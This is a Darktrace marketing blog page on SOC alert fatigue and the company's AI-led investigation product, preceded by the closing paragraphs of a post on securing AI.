AI changes how fast systems move, how decisions are made, and how risk propagates. It does not change the fundamentals of security. Organizations that succeed will be the ones that apply those fundamentals rigorously, assume failure, and build systems that can detect, contain, and recover when AI behaves in ways they did not anticipate. Security is not what AI is allowed to do. It is whether the organization can understand, trust, and control what AI actually does in practice.  

Take this guidance to understand different initiatives that organizations should be considering. Securing AI is the most critical component to AI safety. As organizations invest more in AI adoption, they should be investing in security in order to mitigate the risk of AI adoption. Organizations should be evaluating their governance and security stack to include well-integrated tools that are deployed, tested, operationalized and embedded within security workflows. While organizations mature in governance, visibility and identity access management, they should be investing in behavior-based detection and autonomous containment to mitigate AI risk.  

See how Darktrace / SECURE AI can strengthen the visibility and runtime security layers of your broader AI security program.

[related-resource]

Continue reading
About the author

Blog

/

AI

/

August 11, 2026

Reimagining Your SOC: Overcoming Alert Fatigue with AI-Led Investigations  

Default blog imageDefault blog image

Key takeaways

  • AI-led investigation can help combat SOC alert fatigue by extending automation beyond detection into triage, contextual analysis, prioritization, and investigation, reducing repetitive analyst work while preserving human judgment for critical security decisions.
  • Alert fatigue becomes an operational risk when high alert volumes, fragmented context, manual investigation, and limited analyst capacity prevent SOC teams from efficiently assessing potentially meaningful security activity.
  • Effective alert fatigue solutions should combine automated triage, contextual analysis, intelligent prioritization, and explainable investigation workflows so analysts can understand why activity matters and focus attention on higher-priority incidents.
  • AI-led investigation can improve SOC efficiency by expanding investigation coverage and freeing analysts from repetitive evidence gathering, creating more capacity for threat hunting, recovery activities, strategic decisions, and proactive cyber risk reduction.

The efficiency of a Security Operations Center (SOC) hinges on its ability to detect, analyze and respond to threats effectively. With advancements in AI and automation, key early SOC team metrics such as Mean Time to Detect (MTTD) have seen significant improvements:

  • 96% of defenders believing AI-powered solutions significantly boost the speed and efficiency of prevention, detection, response, and recovery.
  • Organizations leveraging AI and automation can shorten their breach lifecycle by an average of 108 days compared to those without these technologies.

While tool advances have improved performance and effectiveness in the detection phase, this has not been as beneficial to the next step of the process where initial alerts are investigated further to determine their relevance and how they relate to other activities. This is often measured with the metric Mean Time to Analysis (MTTA), although some SOC teams operate a two-level process with teams for initial triage to filter out more obviously uninteresting alerts and for more detailed analysis of the remainder. SOC teams continue to grapple with alert fatigue, overwhelmed analysts, and inefficient triage processes, preventing them from achieving the operational efficiency necessary for a high-performing SOC.

Addressing this core inefficiency requires extending AI's capabilities beyond detection to streamline and optimize the following investigative workflows that underpin effective analysis.

Challenges with SOC alert investigation

Detecting cyber threats is only the beginning of a much broader challenge of SOC efficiency. The real bottleneck often lies in the investigation process.

Detection tools and techniques have evolved significantly with the use of machine learning methods, improving early threat detection. However, after a detection pops up, human analysts still typically step in to evaluate the alert, gather context, and determine whether it’s a true threat or a false alarm and why. If it is a threat, further investigation must be performed to understand the full scope of what may be a much larger problem. This phase, measured by the mean time to analysis, is critical for swift incident response.

Challenges with manual alert investigation:

  • Too many alerts
  • Alerts lack context
  • Cognitive load sits with analysts
  • Insufficient talent in the industry
  • Fierce competition for experienced analysts

For many organizations, investigation is where the struggle of efficiency intensifies. Analysts face overwhelming volumes of alerts, a lack of consolidated context, and the mental strain of juggling multiple systems. With a worldwide shortage of 4 million experienced level two and three SOC analysts, the cognitive burden placed on teams is immense, often leading to alert fatigue and missed threats.

Even with advanced systems in place not all potential detections are investigated. In many cases, only a quarter of initial alerts are triaged (or analyzed). However, the issue runs deeper. Triaging occurs after detection engineering and alert tuning, which often disable many alerts that could potentially reveal true threats but are not accurate enough to justify the time and effort of the security team. This means some potential threats slip through unnoticed.

What are the key stages of detecting and stopping a cyber-attack?

Detecting and stopping a cyber incident involves several connected stages: identifying a trace of suspicious activity, generating a detection, investigating the alert to determine its context and scope, and containing confirmed threats. Each stage affects how quickly a SOC can move from identifying potentially malicious activity to taking effective action.

First we need a trace of an attack…

The attack will produce some sort of digital trace. Novel attacks, insider threats, and attacker techniques such as living-off-the-land can make attacker activities extremely hard to distinguish.

A detection is created…

Then we have to detect the trace, for example some beaconing to a rare domain. Initial detection alerts being raised underpin the MTTD (mean time to detection). Reducing this initial unseen duration is where we have seen significant improvement with modern threat detection tools.

When it comes to threat detection, the possibilities are vast. Your initial lead could come from anything: an alert about unusual network activity, a potential known malware detection, or an odd email. Once that lead comes in, it’s up to your security team to investigate further and determine if this is this a legitimate threat or a false alarm and what the context is behind the alert.

Investigation begins…

It doesn’t just stop at a detection. Typically, humans also need to look at the alert, investigate, understand, analyze, and conclude whether this is a genuine threat that needs a response. We normally measure this as MTTA (mean time to analyze).

Conducting the investigation effectively requires a high degree of skill and efficiency, as every second counts in mitigating potential damage. Security teams must analyze the available data, correlate it across multiple sources, and piece together the timeline of events to understand the full scope of the incident. This process involves navigating through vast amounts of information, identifying patterns, and discerning relevant details. All while managing the pressure of minimizing downtime and preventing further escalation.

Containment begins…

Once we confirm something as a threat, and the human team determines a response is required and understand the scope, we need to contain the incident. That's normally the MTTC (mean time to containment) and can be further split into immediate and more permanent measures.

For more about how AI-led solutions can help in the containment stage read here: Autonomous Response: Streamlining Cybersecurity and Business Operations

The challenge is not only in 1) detecting threats quickly, but also 2) triaging and investigating them rapidly and with precision, and 3) prioritizing the most critical findings to avoid missed opportunities. Effective investigation demands a combination of advanced tools, robust workflows, and the expertise to interpret and act on the insights they generate. Without these, organizations risk delaying critical containment and response efforts, leaving them vulnerable to greater impacts.

While there are further steps (remediation, and of course complete recovery) here we will focus on investigation.

Developing an AI analyst: How Darktrace replicates human investigation

Darktrace has been working on understanding the investigative process of a skilled analyst since 2017. By conducting internal research between Darktrace expert SOC analysts and machine learning engineers, we developed a formalized understanding of investigative processes. This understanding formed the basis of a multi-layered AI system that systematically investigates data, taking advantage of the speed and breadth afforded by machine systems.

With this research we found that the investigative process often revolves around iterating three key steps: hypothesis creation, data collection, and results evaluation.

All these details are crucial for an analyst to determine the nature of a potential threat. Similarly, they are integral components of our Cyber AI Analyst which is an integral component across our product suite. In doing so, Darktrace has been able to replicate the human-driven approach to investigating alerts using machine learning speed and scale.

Here’s how it works:

  • When an initial or third-party alert is triggered, the Cyber AI Analyst initiates a forensic investigation by building multiple hypotheses and gathering relevant data to confirm or refute the nature of suspicious activity, iterating as necessary, and continuously refining the original hypothesis as new data emerges throughout the investigation.
  • Using a combination of machine learning including supervised and unsupervised methods, NLP and graph theory to assess activity, this investigation engine conducts a deep analysis with incidents raised to the human team only when the behavior is deemed sufficiently concerning.
  • After classification, the incident information is organized and processed to generate the analysis summary, including the most important descriptive details, and priority classification, ensuring that critical alerts are prioritized for further action by the human-analyst team.
  • If the alert is deemed unimportant, the complete analysis process is made available to the human team so that they can see what investigation was performed and why this conclusion was drawn.
Darktrace cyber ai analyst workflow, how it works

To illustrate this via example, if a laptop is beaconing to a rare domain, the Cyber AI Analyst would create hypotheses including whether this could be command and control traffic, data exfiltration, or something else. The AI analyst then collects data, analyzes it, makes decisions, iterates, and ultimately raises a new high-level incident alert describing and detailing its findings for human analysts to review and follow up.

Learn more about Darktrace's Cyber AI Analyst

  • Cost savings: Equivalent to adding up to 30 full-time Level 2 analysts without increasing headcount
  • Minimize business risk: Takes on the busy work from human analysts and elevates a team’s overall decision making
  • Improve security outcomes: Identifies subtle, sophisticated threats through holistic investigations

How does AI-led investigation improve SOC efficiency?

AI-led investigation can improve SOC efficiency by shifting repetitive evidence gathering and triage away from analysts while preserving human judgment for higher-value decisions. The operational benefit is broader investigation coverage, faster prioritization, clearer reasoning, and more analyst time for activities such as threat hunting, recovery, and proactive cyber risk reduction.

Every relevant alert is investigated

The Cyber AI Analyst is not a generative AI system, or an XDR or SEIM aggregator that simply prompts you on what to do next. It uses a multi-layered combination of many different specialized AI methods to investigate every relevant alert from across your enterprise, native, 3rd party, and manual triggers, operating at machine speed and scale. This also positively affects detection engineering and alert tuning, because it does not suffer from fatigue when presented with low accuracy but potentially valuable alerts.

Retain and improve analyst skills

Transferring most analysis processes to AI systems can risk team skills if they don't maintain or build them and if the AI doesn't explain its process. This can reduce the ability to challenge or build on AI results and cause issues if the AI is unavailable. The Cyber AI Analyst, by revealing its investigation process, data gathering, and decisions, promotes and improves these skills. Its deep understanding of cyber incidents can be used for skill training and incident response practice by simulating incidents for security teams to handle.

Create time for cyber risk reduction

Human cybersecurity professionals excel in areas that require critical thinking, strategic planning, and nuanced decision-making. With alert fatigue minimized and investigations streamlined, your analysts can avoid the tedious data collection and analysis stages and instead focus on critical decision-making tasks such as implementing recovery actions and performing threat hunting.

Stay tuned for part 3/3

Part 3/3 in the Reimagine your SOC series explores the preventative security solutions market and effective risk management strategies.

Coming soon!

Continue reading
About the author
Brittany Woodsmall
Product Marketing Manager, AI
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ